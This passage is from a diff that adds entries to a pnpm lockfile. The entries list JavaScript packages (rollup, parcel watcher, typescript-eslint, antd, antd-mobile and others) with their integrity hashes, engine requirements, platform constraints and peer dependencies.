sha512-uZA413QEpNuhtb3/iIKoYMSK07keHPYeXF02Zhd6e213j+d1NamLix/mCLxBUDW/Gx52sPH2m+chlUsyaBs/Ag==} + + '@floating-ui/utils@0.2.10': + resolution: {integrity: sha512-aGTxbpbg8/b5JfU1HXSrbH3wXZuLPJcNEcZQFMxLs3oSzgtVu6nFPkbbGGUvBcUjKV2YyB9Wxxabo+HEH9tcRQ==} + + '@humanwhocodes/config-array@0.13.0': + resolution: {integrity: sha512-DZLEEqFWQFiyK6h5YIeynKx7JlvCYWL0cImfSRXZ9l4Sg2efkFGTuFf6vzXjK1cq6IYkU+Eg/JizXw+TD2vRNw==} + engines: {node: '>=10.10.0'} + deprecated: Use @eslint/config-array instead + + '@humanwhocodes/module-importer@1.0.1': + resolution: {integrity: sha512-bxveV4V8v5Yb4ncFTT3rPSgZBOpCkjfK0y4oVVVJwIuDVBRMDXrPyXRL988i5ap9m9bnyEEjWfm5WkBmtffLfA==} + engines: {node: '>=12.22'} + + '@humanwhocodes/object-schema@2.0.3': + resolution: {integrity: sha512-93zYdMES/c1D69yZiKDBj0V24vqNzB/koF26KPaagAfd3P/4gUlh3Dys5ogAK+Exi9QyzlD8x/08Zt7wIKcDcA==} + deprecated: Use @eslint/object-schema instead + + '@jridgewell/gen-mapping@0.3.13': + resolution: {integrity: sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA==} + + '@jridgewell/resolve-uri@3.1.2': + resolution: {integrity: sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==} + engines: {node: '>=6.0.0'} + + '@jridgewell/sourcemap-codec@1.5.5': + resolution: {integrity: sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==} + + '@jridgewell/trace-mapping@0.3.30': + resolution: {integrity: sha512-GQ7Nw5G2lTu/BtHTKfXhKHok2WGetd4XYcVKGx00SjAk8GMwgJM3zr6zORiPGuOE+/vkc90KtTosSSvaCjKb2Q==} + + '@nodelib/fs.scandir@2.1.5': + resolution: {integrity: sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==} + engines: {node: '>= 8'} + + '@nodelib/fs.stat@2.0.5': + resolution: {integrity: sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==} + engines: {node: '>= 8'} + + '@nodelib/fs.walk@1.2.8': + resolution: {integrity: sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==} + engines: {node: '>= 8'} + + '@parcel/watcher-android-arm64@2.5.1': + resolution: {integrity: sha512-KF8+j9nNbUN8vzOFDpRMsaKBHZ/mcjEjMToVMJOhTozkDonQFFrRcfdLWn6yWKCmJKmdVxSgHiYvTCef4/qcBA==} + engines: {node: '>= 10.0.0'} + cpu: [arm64] + os: [android] + + '@parcel/watcher-darwin-arm64@2.5.1': + resolution: {integrity: sha512-eAzPv5osDmZyBhou8PoF4i6RQXAfeKL9tjb3QzYuccXFMQU0ruIc/POh30ePnaOyD1UXdlKguHBmsTs53tVoPw==} + engines: {node: '>= 10.0.0'} + cpu: [arm64] + os: [darwin] + + '@parcel/watcher-darwin-x64@2.5.1': + resolution: {integrity: sha512-1ZXDthrnNmwv10A0/3AJNZ9JGlzrF82i3gNQcWOzd7nJ8aj+ILyW1MTxVk35Db0u91oD5Nlk9MBiujMlwmeXZg==} + engines: {node: '>= 10.0.0'} + cpu: [x64] + os: [darwin] + + '@parcel/watcher-freebsd-x64@2.5.1': + resolution: {integrity: sha512-SI4eljM7Flp9yPuKi8W0ird8TI/JK6CSxju3NojVI6BjHsTyK7zxA9urjVjEKJ5MBYC+bLmMcbAWlZ+rFkLpJQ==} + engines: {node: '>= 10.0.0'} + cpu: [x64] + os: [freebsd] + + '@parcel/watcher-linux-arm-glibc@2.5.1': + resolution: {integrity: sha512-RCdZlEyTs8geyBkkcnPWvtXLY44BCeZKmGYRtSgtwwnHR4dxfHRG3gR99XdMEdQ7KeiDdasJwwvNSF5jKtDwdA==} + engines: {node: '>= 10.0.0'} + cpu: [arm] + os: [linux] + + '@parcel/watcher-linux-arm-musl@2.5.1': + resolution: {integrity: sha512-6E+m/Mm1t1yhB8X412stiKFG3XykmgdIOqhjWj+VL8oHkKABfu/gjFj8DvLrYVHSBNC+/u5PeNrujiSQ1zwd1Q==} + engines: {node: '>= 10.0.0'} + cpu: [arm] + os: [linux] + + '@parcel/watcher-linux-arm64-glibc@2.5.1': + resolution: {integrity: sha512-LrGp+f02yU3BN9A+DGuY3v3bmnFUggAITBGriZHUREfNEzZh/GO06FF5u2kx8x+GBEUYfyTGamol4j3m9ANe8w==} + engines: {node: '>= 10.0.0'} + cpu: [arm64] + os: [linux] + + '@parcel/watcher-linux-arm64-musl@2.5.1': + resolution: {integrity: sha512-cFOjABi92pMYRXS7AcQv9/M1YuKRw8SZniCDw0ssQb/noPkRzA+HBDkwmyOJYp5wXcsTrhxO0zq1U11cK9jsFg==} + engines: {node: '>= 10.0.0'} + cpu: [arm64] + os: [linux] + + '@parcel/watcher-linux-x64-glibc@2.5.1': + resolution: {integrity: sha512-GcESn8NZySmfwlTsIur+49yDqSny2IhPeZfXunQi48DMugKeZ7uy1FX83pO0X22sHntJ4Ub+9k34XQCX+oHt2A==} + engines: {node: '>= 10.0.0'} + cpu: [x64] + os: [linux] + + '@parcel/watcher-linux-x64-musl@2.5.1': + resolution: {integrity: sha512-n0E2EQbatQ3bXhcH2D1XIAANAcTZkQICBPVaxMeaCVBtOpBZpWJuf7LwyWPSBDITb7In8mqQgJ7gH8CILCURXg==} + engines: {node: '>= 10.0.0'} + cpu: [x64] + os: [linux] + + '@parcel/watcher-win32-arm64@2.5.1': + resolution: {integrity: sha512-RFzklRvmc3PkjKjry3hLF9wD7ppR4AKcWNzH7kXR7GUe0Igb3Nz8fyPwtZCSquGrhU5HhUNDr/mKBqj7tqA2Vw==} + engines: {node: '>= 10.0.0'} + cpu: [arm64] + os: [win32] + + '@parcel/watcher-win32-ia32@2.5.1': + resolution: {integrity: sha512-c2KkcVN+NJmuA7CGlaGD1qJh1cLfDnQsHjE89E60vUEMlqduHGCdCLJCID5geFVM0dOtA3ZiIO8BoEQmzQVfpQ==} + engines: {node: '>= 10.0.0'} + cpu: [ia32] + os: [win32] + + '@parcel/watcher-win32-x64@2.5.1': + resolution: {integrity: sha512-9lHBdJITeNR++EvSQVUcaZoWupyHfXe1jZvGZ06O/5MflPcuPLtEphScIBL+AiCWBO46tDSHzWyD0uDmmZqsgA==} + engines: {node: '>= 10.0.0'} + cpu: [x64] + os: [win32] + + '@parcel/watcher@2.5.1': + resolution: {integrity: sha512-dfUnCxiN9H4ap84DvD2ubjw+3vUNpstxa0TneY/Paat8a3R4uQZDLSvWjmznAY/DoahqTHl9V46HF/Zs3F29pg==} + engines: {node: '>= 10.0.0'} + + '@pkgr/core@0.2.9': + resolution: {integrity: sha512-QNqXyfVS2wm9hweSYD2O7F0G06uurj9kZ96TRQE5Y9hU7+tgdZwIkbAKc5Ocy1HxEY2kuDQa6cQ1WRs/O5LFKA==} + engines: {node: ^12.20.0 || ^14.18.0 || >=16.0.0} + + '@rc-component/async-validator@5.0.4': + resolution: {integrity: sha512-qgGdcVIF604M9EqjNF0hbUTz42bz/RDtxWdWuU5EQe3hi7M8ob54B6B35rOsvX5eSvIHIzT9iH1R3n+hk3CGfg==} + engines: {node: '>=14.x'} + + '@rc-component/color-picker@2.0.1': + resolution: {integrity: sha512-WcZYwAThV/b2GISQ8F+7650r5ZZJ043E57aVBFkQ+kSY4C6wdofXgB0hBx+GPGpIU0Z81eETNoDUJMr7oy/P8Q==} + peerDependencies: + react: '>=16.9.0' + react-dom: '>=16.9.0' + + '@rc-component/context@1.4.0': + resolution: {integrity: sha512-kFcNxg9oLRMoL3qki0OMxK+7g5mypjgaaJp/pkOis/6rVxma9nJBF/8kCIuTYHUQNr0ii7MxqE33wirPZLJQ2w==} + peerDependencies: + react: '>=16.9.0' + react-dom: '>=16.9.0' + + '@rc-component/mini-decimal@1.1.0': + resolution: {integrity: sha512-jS4E7T9Li2GuYwI6PyiVXmxTiM6b07rlD9Ge8uGZSCz3WlzcG5ZK7g5bbuKNeZ9pgUuPK/5guV781ujdVpm4HQ==} + engines: {node: '>=8.x'} + + '@rc-component/mutate-observer@1.1.0': + resolution: {integrity: sha512-QjrOsDXQusNwGZPf4/qRQasg7UFEj06XiCJ8iuiq/Io7CrHrgVi6Uuetw60WAMG1799v+aM8kyc+1L/GBbHSlw==} + engines: {node: '>=8.x'} + peerDependencies: + react: '>=16.9.0' + react-dom: '>=16.9.0' + + '@rc-component/portal@1.1.2': + resolution: {integrity: sha512-6f813C0IsasTZms08kfA8kPAGxbbkYToa8ALaiDIGGECU4i9hj8Plgbx0sNJDrey3EtHO30hmdaxtT0138xZcg==} + engines: {node: '>=8.x'} + peerDependencies: + react: '>=16.9.0' + react-dom: '>=16.9.0' + + '@rc-component/qrcode@1.0.0': + resolution: {integrity: sha512-L+rZ4HXP2sJ1gHMGHjsg9jlYBX/SLN2D6OxP9Zn3qgtpMWtO2vUfxVFwiogHpAIqs54FnALxraUy/BCO1yRIgg==} + engines: {node: '>=8.x'} + peerDependencies: + react: '>=16.9.0' + react-dom: '>=16.9.0' + + '@rc-component/tour@1.15.1': + resolution: {integrity: sha512-Tr2t7J1DKZUpfJuDZWHxyxWpfmj8EZrqSgyMZ+BCdvKZ6r1UDsfU46M/iWAAFBy961Ssfom2kv5f3UcjIL2CmQ==} + engines: {node: '>=8.x'} + peerDependencies: + react: '>=16.9.0' + react-dom: '>=16.9.0' + + '@rc-component/trigger@2.3.0': + resolution: {integrity: sha512-iwaxZyzOuK0D7lS+0AQEtW52zUWxoGqTGkke3dRyb8pYiShmRpCjB/8TzPI4R6YySCH7Vm9BZj/31VPiiQTLBg==} + engines: {node: '>=8.x'} + peerDependencies: + react: '>=16.9.0' + react-dom: '>=16.9.0' + + '@react-spring/animated@9.6.1': + resolution: {integrity: sha512-ls/rJBrAqiAYozjLo5EPPLLOb1LM0lNVQcXODTC1SMtS6DbuBCPaKco5svFUQFMP2dso3O+qcC4k9FsKc0KxMQ==} + peerDependencies: + react: ^16.8.0 || ^17.0.0 || ^18.0.0 + + '@react-spring/core@9.6.1': + resolution: {integrity: sha512-3HAAinAyCPessyQNNXe5W0OHzRfa8Yo5P748paPcmMowZ/4sMfaZ2ZB6e5x5khQI8NusOHj8nquoutd6FRY5WQ==} + peerDependencies: + react: ^16.8.0 || ^17.0.0 || ^18.0.0 + + '@react-spring/rafz@9.6.1': + resolution: {integrity: sha512-v6qbgNRpztJFFfSE3e2W1Uz+g8KnIBs6SmzCzcVVF61GdGfGOuBrbjIcp+nUz301awVmREKi4eMQb2Ab2gGgyQ==} + + '@react-spring/shared@9.6.1': + resolution: {integrity: sha512-PBFBXabxFEuF8enNLkVqMC9h5uLRBo6GQhRMQT/nRTnemVENimgRd+0ZT4yFnAQ0AxWNiJfX3qux+bW2LbG6Bw==} + peerDependencies: + react: ^16.8.0 || ^17.0.0 || ^18.0.0 + + '@react-spring/types@9.6.1': + resolution: {integrity: sha512-POu8Mk0hIU3lRXB3bGIGe4VHIwwDsQyoD1F394OK7STTiX9w4dG3cTLljjYswkQN+hDSHRrj4O36kuVa7KPU8Q==} + + '@react-spring/web@9.6.1': + resolution: {integrity: sha512-X2zR6q2Z+FjsWfGAmAXlQaoUHbPmfuCaXpuM6TcwXPpLE1ZD4A1eys/wpXboFQmDkjnrlTmKvpVna1MjWpZ5Hw==} + peerDependencies: + react: ^16.8.0 || ^17.0.0 || ^18.0.0 + react-dom: ^16.8.0 || ^17.0.0 || ^18.0.0 + + '@remix-run/router@1.23.0': + resolution: {integrity: sha512-O3rHJzAQKamUz1fvE0Qaw0xSFqsA/yafi2iqeE0pvdFtCO1viYx8QL6f3Ln/aCCTLxs68SLf0KPM9eSeM8yBnA==} + engines: {node: '>=14.0.0'} + + '@rolldown/pluginutils@1.0.0-beta.27': + resolution: {integrity: sha512-+d0F4MKMCbeVUJwG96uQ4SgAznZNSq93I3V+9NHA4OpvqG8mRCpGdKmK8l/dl02h2CCDHwW2FqilnTyDcAnqjA==} + + '@rollup/rollup-android-arm-eabi@4.46.2': + resolution: {integrity: sha512-Zj3Hl6sN34xJtMv7Anwb5Gu01yujyE/cLBDB2gnHTAHaWS1Z38L7kuSG+oAh0giZMqG060f/YBStXtMH6FvPMA==} + cpu: [arm] + os: [android] + + '@rollup/rollup-android-arm64@4.46.2': + resolution: {integrity: sha512-nTeCWY83kN64oQ5MGz3CgtPx8NSOhC5lWtsjTs+8JAJNLcP3QbLCtDDgUKQc/Ro/frpMq4SHUaHN6AMltcEoLQ==} + cpu: [arm64] + os: [android] + + '@rollup/rollup-darwin-arm64@4.46.2': + resolution: {integrity: sha512-HV7bW2Fb/F5KPdM/9bApunQh68YVDU8sO8BvcW9OngQVN3HHHkw99wFupuUJfGR9pYLLAjcAOA6iO+evsbBaPQ==} + cpu: [arm64] + os: [darwin] + + '@rollup/rollup-darwin-x64@4.46.2': + resolution: {integrity: sha512-SSj8TlYV5nJixSsm/y3QXfhspSiLYP11zpfwp6G/YDXctf3Xkdnk4woJIF5VQe0of2OjzTt8EsxnJDCdHd2xMA==} + cpu: [x64] + os: [darwin] + + '@rollup/rollup-freebsd-arm64@4.46.2': + resolution: {integrity: sha512-ZyrsG4TIT9xnOlLsSSi9w/X29tCbK1yegE49RYm3tu3wF1L/B6LVMqnEWyDB26d9Ecx9zrmXCiPmIabVuLmNSg==} + cpu: [arm64] + os: [freebsd] + + '@rollup/rollup-freebsd-x64@4.46.2': + resolution: {integrity: sha512-pCgHFoOECwVCJ5GFq8+gR8SBKnMO+xe5UEqbemxBpCKYQddRQMgomv1104RnLSg7nNvgKy05sLsY51+OVRyiVw==} + cpu: [x64] + os: [freebsd] + + '@rollup/rollup-linux-arm-gnueabihf@4.46.2': + resolution: {integrity: sha512-EtP8aquZ0xQg0ETFcxUbU71MZlHaw9MChwrQzatiE8U/bvi5uv/oChExXC4mWhjiqK7azGJBqU0tt5H123SzVA==} + cpu: [arm] + os: [linux] + + '@rollup/rollup-linux-arm-musleabihf@4.46.2': + resolution: {integrity: sha512-qO7F7U3u1nfxYRPM8HqFtLd+raev2K137dsV08q/LRKRLEc7RsiDWihUnrINdsWQxPR9jqZ8DIIZ1zJJAm5PjQ==} + cpu: [arm] + os: [linux] + + '@rollup/rollup-linux-arm64-gnu@4.46.2': + resolution: {integrity: sha512-3dRaqLfcOXYsfvw5xMrxAk9Lb1f395gkoBYzSFcc/scgRFptRXL9DOaDpMiehf9CO8ZDRJW2z45b6fpU5nwjng==} + cpu: [arm64] + os: [linux] + + '@rollup/rollup-linux-arm64-musl@4.46.2': + resolution: {integrity: sha512-fhHFTutA7SM+IrR6lIfiHskxmpmPTJUXpWIsBXpeEwNgZzZZSg/q4i6FU4J8qOGyJ0TR+wXBwx/L7Ho9z0+uDg==} + cpu: [arm64] + os: [linux] + + '@rollup/rollup-linux-loongarch64-gnu@4.46.2': + resolution: {integrity: sha512-i7wfGFXu8x4+FRqPymzjD+Hyav8l95UIZ773j7J7zRYc3Xsxy2wIn4x+llpunexXe6laaO72iEjeeGyUFmjKeA==} + cpu: [loong64] + os: [linux] + + '@rollup/rollup-linux-ppc64-gnu@4.46.2': + resolution: {integrity: sha512-B/l0dFcHVUnqcGZWKcWBSV2PF01YUt0Rvlurci5P+neqY/yMKchGU8ullZvIv5e8Y1C6wOn+U03mrDylP5q9Yw==} + cpu: [ppc64] + os: [linux] + + '@rollup/rollup-linux-riscv64-gnu@4.46.2': + resolution: {integrity: sha512-32k4ENb5ygtkMwPMucAb8MtV8olkPT03oiTxJbgkJa7lJ7dZMr0GCFJlyvy+K8iq7F/iuOr41ZdUHaOiqyR3iQ==} + cpu: [riscv64] + os: [linux] + + '@rollup/rollup-linux-riscv64-musl@4.46.2': + resolution: {integrity: sha512-t5B2loThlFEauloaQkZg9gxV05BYeITLvLkWOkRXogP4qHXLkWSbSHKM9S6H1schf/0YGP/qNKtiISlxvfmmZw==} + cpu: [riscv64] + os: [linux] + + '@rollup/rollup-linux-s390x-gnu@4.46.2': + resolution: {integrity: sha512-YKjekwTEKgbB7n17gmODSmJVUIvj8CX7q5442/CK80L8nqOUbMtf8b01QkG3jOqyr1rotrAnW6B/qiHwfcuWQA==} + cpu: [s390x] + os: [linux] + + '@rollup/rollup-linux-x64-gnu@4.46.2': + resolution: {integrity: sha512-Jj5a9RUoe5ra+MEyERkDKLwTXVu6s3aACP51nkfnK9wJTraCC8IMe3snOfALkrjTYd2G1ViE1hICj0fZ7ALBPA==} + cpu: [x64] + os: [linux] + + '@rollup/rollup-linux-x64-musl@4.46.2': + resolution: {integrity: sha512-7kX69DIrBeD7yNp4A5b81izs8BqoZkCIaxQaOpumcJ1S/kmqNFjPhDu1LHeVXv0SexfHQv5cqHsxLOjETuqDuA==} + cpu: [x64] + os: [linux] + + '@rollup/rollup-win32-arm64-msvc@4.46.2': + resolution: {integrity: sha512-wiJWMIpeaak/jsbaq2HMh/rzZxHVW1rU6coyeNNpMwk5isiPjSTx0a4YLSlYDwBH/WBvLz+EtsNqQScZTLJy3g==} + cpu: [arm64] + os: [win32] + + '@rollup/rollup-win32-ia32-msvc@4.46.2': + resolution: {integrity: sha512-gBgaUDESVzMgWZhcyjfs9QFK16D8K6QZpwAaVNJxYDLHWayOta4ZMjGm/vsAEy3hvlS2GosVFlBlP9/Wb85DqQ==} + cpu: [ia32] + os: [win32] + + '@rollup/rollup-win32-x64-msvc@4.46.2': + resolution: {integrity: sha512-CvUo2ixeIQGtF6WvuB87XWqPQkoFAFqW+HUo/WzHwuHDvIwZCtjdWXoYCcr06iKGydiqTclC4jU/TNObC/xKZg==} + cpu: [x64] + os: [win32] + + '@types/babel__core@7.20.5': + resolution: {integrity: sha512-qoQprZvz5wQFJwMDqeseRXWv3rqMvhgpbXFfVyWhbx9X47POIA6i/+dXefEmZKoAgOaTdaIgNSMqMIU61yRyzA==} + + '@types/babel__generator@7.27.0': + resolution: {integrity: sha512-ufFd2Xi92OAVPYsy+P4n7/U7e68fex0+Ee8gSG9KX7eo084CWiQ4sdxktvdl0bOPupXtVJPY19zk6EwWqUQ8lg==} + + '@types/babel__template@7.4.4': + resolution: {integrity: sha512-h/NUaSyG5EyxBIp8YRxo4RMe2/qQgvyowRwVMzhYhBCONbW8PUsg4lkFMrhgZhUe5z3L3MiLDuvyJ/CaPa2A8A==} + + '@types/babel__traverse@7.28.0': + resolution: {integrity: sha512-8PvcXf70gTDZBgt9ptxJ8elBeBjcLOAcOtoO/mPJjtji1+CdGbHgm77om1GrsPxsiE+uXIpNSK64UYaIwQXd4Q==} + + '@types/estree@1.0.8': + resolution: {integrity: sha512-dWHzHa2WqEXI/O1E9OjrocMTKJl2mSrEolh1Iomrv6U+JuNwaHXsXx9bLu5gG7BUWFIN0skIQJQ/L1rIex4X6w==} + + '@types/node@24.2.1': + resolution: {integrity: sha512-DRh5K+ka5eJic8CjH7td8QpYEV6Zo10gfRkjHCO3weqZHWDtAaSTFtl4+VMqOJ4N5jcuhZ9/l+yy8rVgw7BQeQ==} + + '@types/react-dom@19.1.7': + resolution: {integrity: sha512-i5ZzwYpqjmrKenzkoLM2Ibzt6mAsM7pxB6BCIouEVVmgiqaMj1TjaK7hnA36hbW5aZv20kx7Lw6hWzPWg0Rurw==} + peerDependencies: + '@types/react': ^19.0.0 + + '@types/react@19.1.10': + resolution: {integrity: sha512-EhBeSYX0Y6ye8pNebpKrwFJq7BoQ8J5SO6NlvNwwHjSj6adXJViPQrKlsyPw7hLBLvckEMO1yxeGdR82YBBlDg==} + + '@typescript-eslint/eslint-plugin@7.18.0': + resolution: {integrity: sha512-94EQTWZ40mzBc42ATNIBimBEDltSJ9RQHCC8vc/PDbxi4k8dVwUAv4o98dk50M1zB+JGFxp43FP7f8+FP8R6Sw==} + engines: {node: ^18.18.0 || >=20.0.0} + peerDependencies: + '@typescript-eslint/parser': ^7.0.0 + eslint: ^8.56.0 + typescript: '*' + peerDependenciesMeta: + typescript: + optional: true + + '@typescript-eslint/parser@7.18.0': + resolution: {integrity: sha512-4Z+L8I2OqhZV8qA132M4wNL30ypZGYOQVBfMgxDH/K5UX0PNqTu1c6za9ST5r9+tavvHiTWmBnKzpCJ/GlVFtg==} + engines: {node: ^18.18.0 || >=20.0.0} + peerDependencies: + eslint: ^8.56.0 + typescript: '*' + peerDependenciesMeta: + typescript: + optional: true + + '@typescript-eslint/scope-manager@7.18.0': + resolution: {integrity: sha512-jjhdIE/FPF2B7Z1uzc6i3oWKbGcHb87Qw7AWj6jmEqNOfDFbJWtjt/XfwCpvNkpGWlcJaog5vTR+VV8+w9JflA==} + engines: {node: ^18.18.0 || >=20.0.0} + + '@typescript-eslint/type-utils@7.18.0': + resolution: {integrity: sha512-XL0FJXuCLaDuX2sYqZUUSOJ2sG5/i1AAze+axqmLnSkNEVMVYLF+cbwlB2w8D1tinFuSikHmFta+P+HOofrLeA==} + engines: {node: ^18.18.0 || >=20.0.0} + peerDependencies: + eslint: ^8.56.0 + typescript: '*' + peerDependenciesMeta: + typescript: + optional: true + + '@typescript-eslint/types@7.18.0': + resolution: {integrity: sha512-iZqi+Ds1y4EDYUtlOOC+aUmxnE9xS/yCigkjA7XpTKV6nCBd3Hp/PRGGmdwnfkV2ThMyYldP1wRpm/id99spTQ==} + engines: {node: ^18.18.0 || >=20.0.0} + + '@typescript-eslint/typescript-estree@7.18.0': + resolution: {integrity: sha512-aP1v/BSPnnyhMHts8cf1qQ6Q1IFwwRvAQGRvBFkWlo3/lH29OXA3Pts+c10nxRxIBrDnoMqzhgdwVe5f2D6OzA==} + engines: {node: ^18.18.0 || >=20.0.0} + peerDependencies: + typescript: '*' + peerDependenciesMeta: + typescript: + optional: true + + '@typescript-eslint/utils@7.18.0': + resolution: {integrity: sha512-kK0/rNa2j74XuHVcoCZxdFBMF+aq/vH83CXAOHieC+2Gis4mF8jJXT5eAfyD3K0sAxtPuwxaIOIOvhwzVDt/kw==} + engines: {node: ^18.18.0 || >=20.0.0} + peerDependencies: + eslint: ^8.56.0 + + '@typescript-eslint/visitor-keys@7.18.0': + resolution: {integrity: sha512-cDF0/Gf81QpY3xYyJKDV14Zwdmid5+uuENhjH2EqFaF0ni+yAyq/LzMaIJdhNJXZI7uLzwIlA+V7oWoyn6Curg==} + engines: {node: ^18.18.0 || >=20.0.0} + + '@ungap/structured-clone@1.3.0': + resolution: {integrity: sha512-WmoN8qaIAo7WTYWbAZuG8PYEhn5fkz7dZrqTBZ7dtt//lL2Gwms1IcnQ5yHqjDfX8Ft5j4YzDM23f87zBfDe9g==} + + '@use-gesture/core@10.3.0': + resolution: {integrity: sha512-rh+6MND31zfHcy9VU3dOZCqGY511lvGcfyJenN4cWZe0u1BH6brBpBddLVXhF2r4BMqWbvxfsbL7D287thJU2A==} + + '@use-gesture/react@10.3.0': + resolution: {integrity: sha512-3zc+Ve99z4usVP6l9knYVbVnZgfqhKah7sIG+PS2w+vpig2v2OLct05vs+ZXMzwxdNCMka8B+8WlOo0z6Pn6DA==} + peerDependencies: + react: '>= 16.8.0' + + '@vitejs/plugin-react@4.7.0': + resolution: {integrity: sha512-gUu9hwfWvvEDBBmgtAowQCojwZmJ5mcLn3aufeCsitijs3+f2NsrPtlAWIR6OPiqljl96GVCUbLe0HyqIpVaoA==} + engines: {node: ^14.18.0 || >=16.0.0} + peerDependencies: + vite: ^4.2.0 || ^5.0.0 || ^6.0.0 || ^7.0.0 + + acorn-jsx@5.3.2: + resolution: {integrity: sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==} + peerDependencies: + acorn: ^6.0.0 || ^7.0.0 || ^8.0.0 + + acorn@8.15.0: + resolution: {integrity: sha512-NZyJarBfL7nWwIq+FDL6Zp/yHEhePMNnnJ0y3qfieCrmNvYct8uvtiV41UvlSe6apAfk0fY1FbWx+NwfmpvtTg==} + engines: {node: '>=0.4.0'} + hasBin: true + + ahooks@3.9.0: + resolution: {integrity: sha512-r20/C38aFyU3Zqp3620gkdLnxmQhnmWORB3eGGTDlM4i/fOc0GUvM+f2oleMzEu7b3+pHXyzz+FB6ojxsUdYdw==} + engines: {node: '>=8.0.0'} + peerDependencies: + react: ^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 + react-dom: ^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 + + ajv@6.12.6: + resolution: {integrity: sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==} + + ansi-regex@5.0.1: + resolution: {integrity: sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==} + engines: {node: '>=8'} + + ansi-styles@4.3.0: + resolution: {integrity: sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==} + engines: {node: '>=8'} + + antd-mobile-icons@0.3.0: + resolution: {integrity: sha512-rqINQpJWZWrva9moCd1Ye695MZYWmqLPE+bY8d2xLRy7iSQwPsinCdZYjpUPp2zL/LnKYSyXxP2ut2A+DC+whQ==} + + antd-mobile-v5-count@1.0.1: + resolution: {integrity: sha512-YGsiEDCPUDz3SzfXi6gLZn/HpeSMW+jgPc4qiYUr1fSopg3hkUie2TnooJdExgfiETHefH3Ggs58He0OVfegLA==} + + antd-mobile@5.40.0: + resolution: {integrity: sha512-nNfkTLiYPsa7A2i7eoG/hr2BM0agR4cfugE2+5HTyGnCg5xQT04Pmt9qEoKv7MOW5BaiiMyjO462Kh8KRF5QBA==} + peerDependencies: + react: ^16.8.0 || ^17.0.0 || ^18.0.0 + react-dom: ^16.8.0 || ^17.0.0 || ^18.0.0 + + antd@5.27.0: + resolution: {integrity: sha512-o54dmpooLOc08RSGCkeEQBYAGPxUSmnhmYJKCNTHH46vzjOVxdteu+wPTRVkRbAkDTbs2VcNr5VL7Lu67rPIiA==} + peerDependencies: + react: '>=16.9.0' + react-dom: '>=16.9.0' + + argparse@2.0.1: + resolution: {integrity: sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==} + + array-buffer-byte-length@1.0.2: + resolution: {integrity: sha512-LHE+8BuR7RYGDKvnrmcuSq3tDcKv9OFEXQt/HpbZhY7V6h0zlUXutnAD82GiFx9rdieCMjkvtcsPqBwgUl1Iiw==} + engines: {node: '>= 0.4'} + + array-includes@3.1.9: + resolution: {integrity: sha512-FmeCCAenzH0KH381SPT5FZmiA/TmpndpcaShhfgEN9eCVjnFBqq3l1xrI42y8+PPLI6hypzou4GXw00WHmPBLQ==} + engines: {node: '>= 0.4'} + + array-union@2.1.0: + resolution: {integrity: sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw==} + engines: {node: '>=8'} + + array.prototype.findlast@1.2.5: + resolution: {integrity: sha512-CVvd6FHg1Z3POpBLxO6E6zr+rSKEQ9L6rZHAaY7lLfhKsWYUBBOuMs0e9o24oopj6H+geRCX0YJ+TJLBK2eHyQ==} + engines: {node: '>= 0.4'} + + array.prototype.flat@1.3.3: + resolution: {integrity: sha512-rwG/ja1neyLqCuGZ5YYrznA62D4mZXg0i1cIskIUKSiqF3Cje9/wXAls9B9s1Wa2fomMsIv8czB8jZcPmxCXFg==} + engines: {node: '>= 0.4'} + + array.prototype.flatmap@1.3.3: + resolution: {integrity: sha512-Y7Wt51eKJSyi80hFrJCePGGNo5ktJCslFuboqJsbf57CCPcm5zztluPlc4/aD8sWsKvlwatezpV4U1efk8kpjg==} + engines: {node: '>= 0.4'} + + array.prototype.tosorted@1.1.4: + resolution: {integrity: sha512-p6Fx8B7b7ZhL/gmUsAy0D15WhvDccw3mnGNbZpi3pmeJdxtWsj2jEaI4Y6oo3XiHfzuSgPwKc04MYt6KgvC/wA==} + engines: {node: '>= 0.4'} + + arraybuffer.prototype.slice@1.0.4: + resolution: {integrity: sha512-BNoCY6SXXPQ7gF2opIP4GBE+Xw7U+pHMYKuzjgCN3GwiaIR09UUeKfheyIry77QtrCBlC0KK0q5/TER/tYh3PQ==} + engines: {node: '>= 0.4'} + + async-function@1.0.0: + resolution: {integrity: sha512-hsU18Ae8CDTR6Kgu9DYf0EbCr/a5iGL0rytQDobUcdpYOKokk8LEjVphnXkDkgpi0wYVsqrXuP0bZxJaTqdgoA==} + engines: {node: '>= 0.4'} + + async-validator@4.2.5: + resolution: {integrity: sha512-7HhHjtERjqlNbZtqNqy2rckN/SpOOlmDliet+lP7k+eKZEjPk3DgyeU9lIXLdeLz0uBbbVp+9Qdow9wJWgwwfg==} + + 